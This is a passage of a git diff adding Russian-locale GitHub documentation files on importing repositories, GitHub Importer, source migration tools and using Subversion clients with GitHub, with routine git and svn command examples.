symbolic-ref HEAD refs/heads/main + ``` +5. Add the files in your new local repository. This stages them for the first commit. + ```shell + $ git add . + # Adds the files in the local repository and stages them for commit. {% data reusables.git.unstage-codeblock %} + ``` +6. Commit the files that you've staged in your local repository. + ```shell + $ git commit -m "First commit" + # Commits the tracked changes and prepares them to be pushed to a remote repository. {% data reusables.git.reset-head-to-previous-commit-codeblock %} + ``` +7. At the top of your repository on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %}'s Quick Setup page, click {% octicon "clippy" aria-label="The copy to clipboard icon" %} to copy the remote repository URL. + ![Copy remote repository URL field](/assets/images/help/repository/copy-remote-repository-url-quick-setup.png) +8. In Terminal, [add the URL for the remote repository](/github/getting-started-with-github/managing-remote-repositories) where your local repository will be pushed. + ```shell + $ git remote add origin <REMOTE_URL> + # Sets the new remote + $ git remote -v + # Verifies the new remote URL + ``` +9. [Push the changes](/github/getting-started-with-github/pushing-commits-to-a-remote-repository/) in your local repository to {% data variables.location.product_location %}. + ```shell + $ git push origin main + # Pushes the changes in your local repository up to the remote repository you specified as the origin + ``` + +{% endlinux %} + +## Further reading + +- "[Adding a file to a repository](/repositories/working-with-files/managing-files/adding-a-file-to-a-repository#adding-a-file-to-a-repository-using-the-command-line)" diff --git a/translations/ru-RU/content/get-started/importing-your-projects-to-github/importing-source-code-to-github/importing-a-git-repository-using-the-command-line.md b/translations/ru-RU/content/get-started/importing-your-projects-to-github/importing-source-code-to-github/importing-a-git-repository-using-the-command-line.md new file mode 100644 index 000000000000..c25bdf5f5c0e --- /dev/null +++ b/translations/ru-RU/content/get-started/importing-your-projects-to-github/importing-source-code-to-github/importing-a-git-repository-using-the-command-line.md @@ -0,0 +1,47 @@ +--- +title: Importing a Git repository using the command line +intro: '{% ifversion fpt %}If [GitHub Importer](/articles/importing-a-repository-with-github-importer) is not suitable for your purposes, such as if your existing code is hosted on a private network, then we recommend importing using the command line.{% else %}Importing Git projects using the command line is suitable when your existing code is hosted on a private network.{% endif %}' +redirect_from: + - /articles/importing-a-git-repository-using-the-command-line + - /github/importing-your-projects-to-github/importing-a-git-repository-using-the-command-line + - /github/importing-your-projects-to-github/importing-source-code-to-github/importing-a-git-repository-using-the-command-line +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +shortTitle: Import repo locally +--- +Before you start, make sure you know: + +- Your {% data variables.product.product_name %} username +- The clone URL for the external repository, such as `https://external-host.com/user/repo.git` or `git://external-host.com/user/repo.git` (perhaps with a `user@` in front of the `external-host.com` domain name) + +{% tip %} + +For purposes of demonstration, we'll use: + +- An external account named **extuser** +- An external Git host named `https://external-host.com` +- A {% data variables.product.product_name %} personal account named **ghuser** +- A repository on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %} named **repo.git** + +{% endtip %} + +1. [Create a new repository on {% data variables.product.product_name %}](/articles/creating-a-new-repository). You'll import your external Git repository to this new repository. +2. On the command line, make a "bare" clone of the repository using the external clone URL. This creates a full copy of the data, but without a working directory for editing files, and ensures a clean, fresh export of all the old data. + ```shell + $ git clone --bare https://external-host.com/EXTUSER/REPO.git + # Makes a bare clone of the external repository in a local directory + ``` +3. Push the locally cloned repository to {% data variables.product.product_name %} using the "mirror" option, which ensures that all references, such as branches and tags, are copied to the imported repository. + ```shell + $ cd REPO.git + $ git push --mirror https://{% data variables.command_line.codeblock %}/USER/REPO.git + # Pushes the mirror to the new repository on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %} + ``` +4. Remove the temporary local repository. + ```shell + $ cd .. + $ rm -rf REPO.git + ``` diff --git a/translations/ru-RU/content/get-started/importing-your-projects-to-github/importing-source-code-to-github/importing-a-repository-with-github-importer.md b/translations/ru-RU/content/get-started/importing-your-projects-to-github/importing-source-code-to-github/importing-a-repository-with-github-importer.md new file mode 100644 index 000000000000..ab8be9b31946 --- /dev/null +++ b/translations/ru-RU/content/get-started/importing-your-projects-to-github/importing-source-code-to-github/importing-a-repository-with-github-importer.md @@ -0,0 +1,46 @@ +--- +title: Importing a repository with GitHub Importer +intro: 'If you have a project hosted on another version control system, you can automatically import it to GitHub using the GitHub Importer tool.' +redirect_from: + - /articles/importing-from-other-version-control-systems-to-github + - /articles/importing-a-repository-with-github-importer + - /github/importing-your-projects-to-github/importing-a-repository-with-github-importer + - /github/importing-your-projects-to-github/importing-source-code-to-github/importing-a-repository-with-github-importer +versions: + fpt: '*' + ghec: '*' +shortTitle: Use GitHub Importer +--- +{% tip %} + +**Tip:** GitHub Importer is not suitable for all imports. For example, if your existing code is hosted on a private network, our tool won't be able to access it. In these cases, we recommend [importing using the command line](/articles/importing-a-git-repository-using-the-command-line) for Git repositories or an external [source code migration tool](/articles/source-code-migration-tools) for projects imported from other version control systems. + +{% endtip %} + +If you'd like to match the commits in your repository to the authors' GitHub personal accounts during the import, make sure every contributor to your repository has a GitHub account before you begin the import. + +{% data reusables.repositories.repo-size-limit %} + +1. In the upper-right corner of any page, click {% octicon "plus" aria-label="Plus symbol" %}, and then click **Import repository**. +![Import repository option in new repository menu](/assets/images/help/importer/import-repository.png) +2. Under "Your old repository's clone URL", type the URL of the project you want to import. +![Text field for URL of imported repository](/assets/images/help/importer/import-url.png) +3. Choose your personal account or an organization to own the repository, then type a name for the repository on GitHub. +![Repository owner menu and repository name field](/assets/images/help/importer/import-repo-owner-name.png) +4. Specify whether the new repository should be *public* or *private*. For more information, see "[Setting repository visibility](/articles/setting-repository-visibility)." +![Public or private repository radio buttons](/assets/images/help/importer/import-public-or-private.png) +5. Review the information you entered, then click **Begin import**. +![Begin import button](/assets/images/help/importer/begin-import-button.png) +6. If your old project requires credentials, type your login information for that project, then click **Submit**. +If SAML SSO or 2FA are enabled for your user account on the old project, enter a {% data variables.product.pat_generic %} with repository read permissions in the "Password" field instead of your password. +![Password form and Submit button for password-protected project](/assets/images/help/importer/submit-old-credentials-importer.png) +7. If there are multiple projects hosted at your old project's clone URL, choose the project you'd like to import, then click **Submit**. +![List of projects to import and Submit button](/assets/images/help/importer/choose-project-importer.png) +8. If your project contains files larger than 100 MB, choose whether to import the large files using [Git Large File Storage](/articles/versioning-large-files), then click **Continue**. +![Git Large File Storage menu and Continue button](/assets/images/help/importer/select-gitlfs-importer.png) + +You'll receive an email when the repository has been completely imported. + +## Further reading + +- "[Updating commit author attribution with GitHub Importer](/articles/updating-commit-author-attribution-with-github-importer)" diff --git a/translations/ru-RU/content/get-started/importing-your-projects-to-github/importing-source-code-to-github/index.md b/translations/ru-RU/content/get-started/importing-your-projects-to-github/importing-source-code-to-github/index.md new file mode 100644 index 000000000000..86cf42e372cc --- /dev/null +++ b/translations/ru-RU/content/get-started/importing-your-projects-to-github/importing-source-code-to-github/index.md @@ -0,0 +1,31 @@ +--- +title: Импорт исходного кода в GitHub +intro: 'Репозитории можно импортировать в GitHub с помощью {% ifversion fpt %}средства импортирования GitHub, командной строки,{% else %}командной строки{% endif %} или сторонних средств миграции.' +redirect_from: + - /articles/importing-an-external-git-repository + - /articles/importing-from-bitbucket + - /articles/importing-an-external-git-repo + - /articles/importing-your-project-to-github + - /articles/importing-source-code-to-github + - /github/importing-your-projects-to-github/importing-source-code-to-github +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +children: + - /about-github-importer + - /importing-a-repository-with-github-importer + - /updating-commit-author-attribution-with-github-importer + - /importing-a-git-repository-using-the-command-line + - /adding-locally-hosted-code-to-github + - /source-code-migration-tools +shortTitle: Import code to GitHub +ms.openlocfilehash: c1dbafeb3e69a65dd654a4dc7223051a58a937da +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '145135782' +--- + diff --git a/translations/ru-RU/content/get-started/importing-your-projects-to-github/importing-source-code-to-github/source-code-migration-tools.md b/translations/ru-RU/content/get-started/importing-your-projects-to-github/importing-source-code-to-github/source-code-migration-tools.md new file mode 100644 index 000000000000..622cb2a3f993 --- /dev/null +++ b/translations/ru-RU/content/get-started/importing-your-projects-to-github/importing-source-code-to-github/source-code-migration-tools.md @@ -0,0 +1,64 @@ +--- +title: Средства миграции исходного кода +intro: Вы можете использовать внешние средства для перемещения проектов в GitHub. +redirect_from: + - /articles/importing-from-subversion + - /articles/source-code-migration-tools + - /github/importing-your-projects-to-github/source-code-migration-tools + - /github/importing-your-projects-to-github/importing-source-code-to-github/source-code-migration-tools +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +shortTitle: Code migration tools +ms.openlocfilehash: 7877d435e7971f669d9d49a70d2d2450371b5159 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '147882170' +--- +{% ifversion fpt or ghec %} + +Мы рекомендуем использовать [GitHub Importer](/articles/about-github-importer) для импорта проектов из Subversion, Mercurial, системы управления версиями Team Foundation (TFVC) или другого репозитория Git. Вы также можете использовать эти внешние средства для преобразования вашего проекта в Git. + +{% endif %} + +## Импорт из Subversion + +В типичной среде Subversion несколько проектов хранятся в одном корневом репозитории. В GitHub каждый из этих проектов обычно сопоставляется с отдельным репозиторием Git для личной учетной записи или организации. Мы рекомендуем импортировать каждую часть репозитория Subversion в отдельный репозиторий GitHub в следующих случаях: + +* Участники совместной работы должны извлечь код из этой части проекта или зафиксировать код этой части проекта независимо от других частей. +* Вы хотите, чтобы у разных частей проекта были собственные разрешения на доступ. + +Мы рекомендуем использовать следующие средства для преобразования репозиториев Subversion в Git: + +- [`git-svn`](https://git-scm.com/docs/git-svn) +- [svn2git](https://github.com/nirvdrum/svn2git) + +## Импорт из Mercurial + +Мы рекомендуем использовать [hg-fast-export](https://github.com/frej/fast-export) для преобразования репозиториев Mercurial в Git. + +## Импорт из TFVC + +Мы рекомендуем [git-tfs](https://github.com/git-tfs/git-tfs) для перемещения изменений между TFVC и Git. + +Дополнительные сведения о переходе из TFVC (централизованной системы управления версиями) в Git см. в разделе [Планирование миграции в Git](https://docs.microsoft.com/devops/develop/git/centralized-to-git) на сайте документации Майкрософт. + +{% tip %} + +**Совет.** После успешного преобразования проекта в Git его можно [отправить в {% data variables.product.prodname_dotcom %}](/github/getting-started-with-github/pushing-commits-to-a-remote-repository/). + +{% endtip %} + +{% ifversion fpt or ghec %} + +## Дополнительные материалы + +- [О GitHub Importer](/articles/about-github-importer) +- [Импорт репозитория с помощью GitHub Importer](/articles/importing-a-repository-with-github-importer) +- [{% data variables.product.prodname_learning %}]({% data variables.product.prodname_learning_link %}) + +{% endif %} diff --git a/translations/ru-RU/content/get-started/importing-your-projects-to-github/importing-source-code-to-github/updating-commit-author-attribution-with-github-importer.md b/translations/ru-RU/content/get-started/importing-your-projects-to-github/importing-source-code-to-github/updating-commit-author-attribution-with-github-importer.md new file mode 100644 index 000000000000..0719aaecaff8 --- /dev/null +++ b/translations/ru-RU/content/get-started/importing-your-projects-to-github/importing-source-code-to-github/updating-commit-author-attribution-with-github-importer.md @@ -0,0 +1,50 @@ +--- +title: Обновление атрибута автора фиксации с помощью GitHub Importer +intro: Во время импорта можно сопоставить фиксации в репозитории с учетной записью GitHub автора фиксации. +redirect_from: + - /articles/updating-commit-author-attribution-with-github-importer + - /github/importing-your-projects-to-github/updating-commit-author-attribution-with-github-importer + - /github/importing-your-projects-to-github/importing-source-code-to-github/updating-commit-author-attribution-with-github-importer +versions: + fpt: '*' + ghec: '*' +shortTitle: Update author GitHub Importer +ms.openlocfilehash: 900f71e966f8f8f00a4645286b52592abf06ac48 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '145135764' +--- +Средство GitHub Importer ищет пользователей GitHub, адреса электронной почты которых соответствуют авторам фиксаций в импортируемом репозитории. Затем вы можете связать фиксацию с автором, используя адрес электронной почты автора или его имя пользователя GitHub. + +## Обновление авторов фиксации + +1. После импорта репозитория на странице состояния импорта нажмите кнопку **Сопоставить авторов**. +![Кнопка "Сопоставить авторов"](/assets/images/help/importer/match-authors-button.png) +2. Рядом с автором, сведения о котором вы хотите обновить, щелкните **Связать**. +![Список авторов фиксации](/assets/images/help/importer/connect-commit-author.png) +3. Введите адрес электронной почты автора или его имя пользователя GitHub, а затем нажмите клавишу **ВВОД**. + +## Связывание фиксаций с пользователем GitHub с общедоступным адресом электронной почты + +Если автор фиксации в импортированном репозитории имеет учетную запись GitHub, связанную с адресом электронной почты, который использовался для создания фиксаций, и этот автор не [указал, что его адрес электронной почты является частным](/articles/setting-your-commit-email-address), то GitHub Importer сопоставит адрес электронной почты, связанный с фиксацией, с общедоступным адресом электронной почты, связанным с учетной записью GitHub, и свяжет фиксацию с учетной записью GitHub автора. + +## Связывание фиксаций с пользователем GitHub без общедоступного адреса электронной почты + +Если автор фиксации в импортированном репозитории не установил общедоступный адрес электронной почты в своем профиле GitHub и [не указал, что адрес электронной почты фиксации является частным](/articles/setting-your-commit-email-address), то GitHub Importer может не сопоставить адрес электронной почты, связанный с фиксацией, с учетной записью GitHub автора. + +Автор фиксации может устранить эту проблему, указав, что его адрес электронной почты является частным. После этого фиксации автора будут связываться с `<username>@users.noreply.github.com`, а импортированные фиксации будут связываться с учетной записью GitHub автора. + +## Связывание фиксаций с помощью адреса электронной почты + +Если адрес электронной почты автора не связан с учетной записью GitHub, он может [добавить его в свою учетную запись](/articles/adding-an-email-address-to-your-github-account) после импорта, и фиксации будут связаны соответствующим образом. + +Если у автора нет учетной записи GitHub, GitHub Importer будет связывать фиксации этого автора с адресом электронной почты, который связан с фиксациями. + +## Дополнительные материалы + +- [О GitHub Importer](/articles/about-github-importer) +- [Импорт репозитория с помощью GitHub Importer](/articles/importing-a-repository-with-github-importer) +- [Добавление адреса электронной почты в учетную запись](/articles/adding-an-email-address-to-your-github-account/) +- [Указание адреса электронной почты для фиксаций](/articles/setting-your-commit-email-address) diff --git a/translations/ru-RU/content/get-started/importing-your-projects-to-github/index.md b/translations/ru-RU/content/get-started/importing-your-projects-to-github/index.md new file mode 100644 index 000000000000..79e11b8766ac --- /dev/null +++ b/translations/ru-RU/content/get-started/importing-your-projects-to-github/index.md @@ -0,0 +1,25 @@ +--- +title: Импорт проектов в GitHub +intro: 'Исходный код можно импортировать в {% data variables.product.product_name %} с помощью различных методов.' +shortTitle: Importing your projects +redirect_from: + - /categories/67/articles + - /categories/importing + - /categories/importing-your-projects-to-github + - /github/importing-your-projects-to-github +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +children: + - /importing-source-code-to-github + - /working-with-subversion-on-github +ms.openlocfilehash: fabdcfdc06316fcaaaa60d106199ff670336dfde +ms.sourcegitcommit: 76b840f45ba85fb79a7f0c1eb43bc663b3eadf2b +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/12/2022 +ms.locfileid: '145135758' +--- + diff --git a/translations/ru-RU/content/get-started/importing-your-projects-to-github/working-with-subversion-on-github/index.md b/translations/ru-RU/content/get-started/importing-your-projects-to-github/working-with-subversion-on-github/index.md new file mode 100644 index 000000000000..b448bb33534a --- /dev/null +++ b/translations/ru-RU/content/get-started/importing-your-projects-to-github/working-with-subversion-on-github/index.md @@ -0,0 +1,23 @@ +--- +title: Работа с Subversion в GitHub +intro: GitHub позволяет использовать клиенты Subversion и некоторые рабочие процессы и свойства Subversion. +redirect_from: + - /articles/working-with-subversion-on-github + - /github/importing-your-projects-to-github/working-with-subversion-on-github +versions: + fpt: '*' + ghes: '*' + ghec: '*' +children: + - /what-are-the-differences-between-subversion-and-git + - /support-for-subversion-clients + - /subversion-properties-supported-by-github +shortTitle: Work with Subversion on GitHub +ms.openlocfilehash: d50afc9a6e836af9d88252b683c079057f6300fb +ms.sourcegitcommit: 80842b4e4c500daa051eff0ccd7cde91c2d4bb36 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/12/2022 +ms.locfileid: '145135749' +--- + diff --git a/translations/ru-RU/content/get-started/importing-your-projects-to-github/working-with-subversion-on-github/subversion-properties-supported-by-github.md b/translations/ru-RU/content/get-started/importing-your-projects-to-github/working-with-subversion-on-github/subversion-properties-supported-by-github.md new file mode 100644 index 000000000000..280a6af990e3 --- /dev/null +++ b/translations/ru-RU/content/get-started/importing-your-projects-to-github/working-with-subversion-on-github/subversion-properties-supported-by-github.md @@ -0,0 +1,34 @@ +--- +title: 'Свойства Subversion, поддерживаемые GitHub' +intro: 'Существует несколько рабочих процессов и свойств Subversion, аналогичных существующим функциям в {% data variables.product.product_name %}.' +redirect_from: + - /articles/subversion-properties-supported-by-github + - /github/importing-your-projects-to-github/subversion-properties-supported-by-github + - /github/importing-your-projects-to-github/working-with-subversion-on-github/subversion-properties-supported-by-github +versions: + fpt: '*' + ghes: '*' + ghec: '*' +shortTitle: Properties supported by GitHub +ms.openlocfilehash: 48c041509100455f6ffcf02d262fd12eafbbffbc +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '145135743' +--- +## Исполняемые файлы (`svn:executable`) + +Мы преобразуем свойства `svn:executable`, обновляя режим файла непосредственно перед добавлением файла в репозиторий Git. + +## Типы MIME (`svn:mime-type`) + +{% data variables.product.product_name %} внутренне отслеживает свойства mime-type файлов и фиксации, которые их добавили. + +## Игнорирование элементов, не добавленных в систему управления версиями (`svn:ignore`) + +Если вы задали файлы и каталоги, которые будут игнорироваться в Subversion, {% data variables.product.product_name %} будет выполнять их внутреннее отслеживание. Файлы, игнорируемые клиентами subversion, полностью отличаются от записей в файле *.gitignore*. + +## Свойства, которые сейчас не поддерживаются + +{% data variables.product.product_name %} сейчас не поддерживает `svn:externals`, `svn:global-ignores` и любые свойства, не указанные выше, включая пользовательские свойства. diff --git a/translations/ru-RU/content/get-started/importing-your-projects-to-github/working-with-subversion-on-github/support-for-subversion-clients.md b/translations/ru-RU/content/get-started/importing-your-projects-to-github/working-with-subversion-on-github/support-for-subversion-clients.md new file mode 100644 index 000000000000..ecf6f406f6ce --- /dev/null +++ b/translations/ru-RU/content/get-started/importing-your-projects-to-github/working-with-subversion-on-github/support-for-subversion-clients.md @@ -0,0 +1,138 @@ +--- +title: Поддержка клиентов Subversion +intro: 'Доступ к репозиториям GitHub осуществляется с клиентов Git и Subversion (SVN). В этой статье рассматривается использование клиента Subversion на сайте GitHub и некоторые распространенные проблемы, с которыми вы можете столкнуться.' +redirect_from: + - /articles/support-for-subversion-clients + - /github/importing-your-projects-to-github/support-for-subversion-clients + - /github/importing-your-projects-to-github/working-with-subversion-on-github/support-for-subversion-clients +versions: + fpt: '*' + ghes: '*' + ghec: '*' +shortTitle: Support for Subversion clients +ms.openlocfilehash: af8a43c8fb57b324b315977acd1912e0eb34f094 +ms.sourcegitcommit: 5f40f9341dd1e953f4be8d1642f219e628e00cc8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/04/2022 +ms.locfileid: '148009916' +--- +GitHub поддерживает клиенты Subversion через протокол HTTPS. Для передачи команды svn в GitHub используется мост Subversion. + +## Поддерживаемые функции Subversion в GitHub + +### Извлечение + +Прежде всего необходимо извлечь код из Subversion. Так как в клонах GitHub рабочий каталог (в котором редактируются файлы) отделен от данных репозитория, в рабочем каталоге в каждый момент времени находится только одна ветвь. + +Извлечение кода в Subversion выполняется по-другому: оно смешивает данные репозитория с рабочими каталогами, поэтому для каждой ветви и тега, которые извлекаются, создается рабочий каталог. Для репозиториев с большим числом ветвей и тегов на извлечение всего содержимого может потребоваться слишком много времени, поэтому следует начать с частичного извлечения. + +{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.copy-clone-url %} + +3. Создайте пустой каталог извлечения для репозитория: + ```shell + $ svn co --depth empty https://github.com/USER/REPO + > Checked out revision 1. + $ cd REPO + ``` + +4. Получите ветвь `trunk`. Мост Subversion сопоставляет магистраль с ветвью HEAD Git. + ```shell + $ svn up trunk + > A trunk + > A trunk/README.md + > A trunk/gizmo.rb + > Updated to revision 1. + ``` + +5. Получите пустой каталог извлечения для каталога `branches`. В этом каталоге будут находиться все ветви кроме `HEAD`, и в нем также будут создаваться ветви функций. + ```shell + $ svn up --depth empty branches + Updated to revision 1. + ``` + +### Создание ветвей + +Вы также можете создавать ветви с помощью моста Subversion для GitHub. + +В клиенте svn сделайте ветвь "master" текущей, обновив `trunk`: +```shell +$ svn up trunk +> At revision 1. +``` + +Затем можно создать новую ветвь с помощью `svn copy`: +```shell +$ svn copy trunk branches/more_awesome +> A branches/more_awesome +$ svn commit -m 'Added more_awesome topic branch' +> Adding branches/more_awesome + +> Committed revision 2. +``` + +Вы можете проверить существование новой ветви в раскрывающемся списке ветвей репозитория: + +![branch-snapshot](/assets/images/help/branch/svnflow-branch-snapshot.png) + +Наличие новой ветви также можно подтвердить с помощью командной строки: + +```shell +$ git fetch +> From https://github.com/USER/REPO/ +> * [new branch] more_awesome -> origin/more_awesome +``` + +### Отправка фиксаций в Subversion + +После того, как вы добавили некоторые функции и исправили несколько ошибок, необходимо зафиксировать эти изменения в GitHub. Сделать это можно точно так же, как в привычной системе управления версиями Subversion. Измените файлы и используйте команду `svn commit` для записи изменений: + +```shell +$ svn status +> M gizmo.rb +$ svn commit -m 'Guard against known problems' +> Sending more_awesome/gizmo.rb +> Transmitting file data . +> Committed revision 3. +$ svn status +> ? test +$ svn add test +> A test +> A test/gizmo_test.rb +$ svn commit -m 'Test coverage for problems' +> Adding more_awesome/test +> Adding more_awesome/test/gizmo_test.rb +> Transmitting file data . +> Committed revision 4. +``` + +### Переключение между ветвями + +Чтобы переключиться между ветвями, для начала следует извлечь `trunk`: + +```shell +$ svn co --depth empty https://github.com/USER/REPO/trunk +``` + +Затем можно переключиться на другую ветвь: + +```shell +$ svn switch https://github.com/USER/REPO/branches/more_awesome +``` + +## Просмотр SHA фиксации Git для фиксации Subversion + +Сервер Subversion в GitHub предоставляет SHA фиксации Git для каждой фиксации Subversion. + +Чтобы просмотреть SHA фиксации Git, необходимо запросить удаленное свойство `git-commit`, не находящееся в системе управления версиями. + +```shell +$ svn propget git-commit --revprop -r HEAD https://github.com/USER/REPO +05fcc584ed53d7b0c92e116cb7e64d198b13c4e3 +``` + +С помощью SHA фиксации можно, например, найти соответствующую фиксацию Git в GitHub. + +## Дополнительные материалы + +* [Свойства Subversion, поддерживаемые GitHub](/articles/subversion-properties-supported-by-github) diff --git a/translations/ru-RU/content/get-started/importing-your-projects-to-github/working-with-subversion-on-github/what-are-the-differences-between-subversion-and-git.md b/translations/ru-RU/content/get-started/importing-your-projects-to-github/working-with-subversion-on-github/what-are-the-differences-between-subversion-and-git.md new file mode 100644 index 000000000000..cecef80d1848 --- /dev/null +++ b/translations/ru-RU/content/get-started/importing-your-projects-to-github/working-with-subversion-on-github/what-are-the-differences-between-subversion-and-git.md @@ -0,0 +1,76 @@ +--- +title: В чем заключаются различия между Subversion и Git? +intro: 'Репозитории Subversion (SVN) похожи на репозитории Git, но есть несколько различий, если говорить об архитектуре проектов.' +redirect_from: + - /articles/what-are-the-differences-between-svn-and-git + - /articles/what-are-the-differences-between-subversion-and-git + - /github/importing-your-projects-to-github/what-are-the-differences-between-subversion-and-git + - /github/importing-your-projects-to-github/working-with-subversion-on-github/what-are-the-differences-between-subversion-and-git +versions: + fpt: '*' + ghes: '*' + ghec: '*' +shortTitle: Subversion & Git differences +ms.openlocfilehash: cbe328bf3d2fbf3a603f6eef1559715ad48ca7fe +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145135734' +--- +## Структура каталогов + +Каждая *ссылка*, или помеченный моментальный снимок фиксации, в проекте находится в определенных подкаталогах, таких как `trunk`, `branches` и `tags`. Например, проект SVN с двумя функциями, находящимися в разработке, может выглядеть следующим образом: + + sample_project/trunk/README.md + sample_project/trunk/lib/widget.rb + sample_project/branches/new_feature/README.md + sample_project/branches/new_feature/lib/widget.rb + sample_project/branches/another_new_feature/README.md + sample_project/branches/another_new_feature/lib/widget.rb + +Рабочий процесс SVN выглядит следующим образом: + +* Каталог `trunk` представляет последний стабильный выпуск проекта. +* Функции, над которыми ведется активная работа, находятся в подкаталогах в каталоге `branches`. +* После завершения работы над функцией каталог функции объединяется с `trunk` и удаляется. + +Проекты Git также хранятся в отдельном каталоге. Однако Git скрывает сведения о своих ссылках, сохраняя их в специальном каталоге *.git*. Например, проект Git с двумя функциями, находящимися в разработке, может выглядеть следующим образом: + + sample_project/.git + sample_project/README.md + sample_project/lib/widget.rb + +Рабочий процесс Git выглядит следующим образом: + +* В каталоге *.git* репозитория Git хранится полный журнал всех ветвей и тегов репозитория. +* Последний стабильный выпуск находится в ветви по умолчанию. +* Функции, над которыми ведется активная работа, находятся в отдельных ветвях. +* После завершения работы над функцией каталог функции объединяется с ветвью по умолчанию и удаляется. + +В отличие от SVN при использовании Git структура каталогов остается одинаковой, но содержимое файлов изменяется в зависимости от ветви. + +## Включение вложенных проектов + +*Подпроект* — это проект, разработка и управление которым осуществляется вне рамок вашего основного проекта. Обычно вы импортируете подпроект, чтобы добавить некоторые функции в проект без необходимости поддерживать код самостоятельно. При каждом обновлении подпроекта можно синхронизировать его с проектом, чтобы все содержимое подпроекта было актуальным. + +В SVN подпроект называется *внешним SVN*. В Git он называется *подмодулем Git*. Хотя подмодули Git концептуально аналогичны подпроектам, они не обновляются автоматически; необходимо явно запросить добавление новой версии в проект. + +Дополнительные сведения см. в разделе [Подмодули инструментов Git](https://git-scm.com/book/en/Git-Tools-Submodules) в документации по Git. + +## Сохранение журнала + +SVN настроен так, что предполагается, что журнал проекта никогда не изменяется. Git позволяет изменять предыдущие фиксации и изменения с помощью таких средств как [`git rebase`](/github/getting-started-with-github/about-git-rebase). + +{% tip %} + +[GitHub поддерживает клиентов Subversion](/articles/support-for-subversion-clients), что может приводить к непредвиденным результатам при использовании Git и SVN в одном проекте. Если вы изменили журнал фиксаций Git, эти же фиксации навсегда останутся в журнале SVN. Если вы случайно зафиксировали некоторые конфиденциальные данные, обратитесь к [статье, которая поможет удалить их из журнала Git](/articles/removing-sensitive-data-from-a-repository). + +{% endtip %} + +## Дополнительные материалы + +- [Свойства Subversion, поддерживаемые GitHub](/articles/subversion-properties-supported-by-github) +- ["Ветвление и слияние" из книги _Git SCM_](https://git-scm.com/book/en/Git-Branching-Basic-Branching-and-Merging) +- [Импорт исходного кода в GitHub](/articles/importing-source-code-to-github) +- [Средства миграции исходного кода](/articles/source-code-migration-tools) diff --git a/translations/ru-RU/content/get-started/index.md b/translations/ru-RU/content/get-started/index.md new file mode 100644 index 000000000000..8cff5e204c57 --- /dev/null +++ b/translations/ru-RU/content/get-started/index.md @@ -0,0 +1,72 @@ +--- +title: Начало работы с GitHub +shortTitle: Get started +intro: 'Узнайте, как начать создание, доставку и обслуживание программного обеспечения с помощью {% data variables.product.prodname_dotcom %}. Изучите наши продукты, зарегистрируйте учетную запись и присоединитесь к крупнейшему в мире сообществу разработчиков.' +redirect_from: + - /categories/54/articles + - /categories/bootcamp + - /categories/32/articles + - /categories/2/articles + - /categories/organizations + - /categories/about-github + - /categories/53/articles + - /categories/setup + - /categories/getting-started-with-github + - /categories/19/articles + - /categories/using-git + - /github/using-git + - /github/getting-started-with-github +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +layout: product-landing +introLinks: + quickstart: /get-started/quickstart +featuredLinks: + guides: + - /github/getting-started-with-github/githubs-products + - /get-started/onboarding/getting-started-with-your-github-account + - /get-started/onboarding/getting-started-with-github-team + - /get-started/onboarding/getting-started-with-github-enterprise-cloud + - /get-started/onboarding/getting-started-with-github-enterprise-server + - /get-started/onboarding/getting-started-with-github-ae + - /get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/quickstart-for-writing-on-github + popular: + - /github/getting-started-with-github/signing-up-for-a-new-github-account + - /get-started/quickstart/hello-world + - /github/getting-started-with-github/set-up-git + - /get-started/learning-about-github/about-versions-of-github-docs + - /github/getting-started-with-github/github-glossary + - /github/getting-started-with-github/keyboard-shortcuts + guideCards: + - /github/getting-started-with-github/types-of-github-accounts + - /github/getting-started-with-github/finding-ways-to-contribute-to-open-source-on-github + - /github/getting-started-with-github/troubleshooting-connectivity-problems +topics: + - Pull requests + - Issues + - Notifications + - Accounts +children: + - /quickstart + - /onboarding + - /learning-about-github + - /signing-up-for-github + - /using-github + - /writing-on-github + - /importing-your-projects-to-github + - /exploring-projects-on-github + - /getting-started-with-git + - /using-git + - /customizing-your-github-workflow + - /privacy-on-github +ms.openlocfilehash: 7671e605fa3644c4690de6ed16bd9a255bb6b1f6 +ms.sourcegitcommit: 2ecb6ba7d01b2bc9a44ad74a5953b98413216051 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/15/2022 +ms.locfileid: '148165356' +--- + diff --git a/translations/ru-RU/content/get-started/learning-about-github/about-github-advanced-security.md b/translations/ru-RU/content/get-started/learning-about-github/about-github-advanced-security.md new file mode 100644 index 000000000000..7f2ad08c68b3 --- /dev/null +++ b/translations/ru-RU/content/get-started/learning-about-github/about-github-advanced-security.md @@ -0,0 +1,101 @@ +--- +title: About GitHub Advanced Security +intro: '{% data variables.product.prodname_dotcom %} makes extra security features available to customers under an {% data variables.product.prodname_advanced_security %} license.{% ifversion 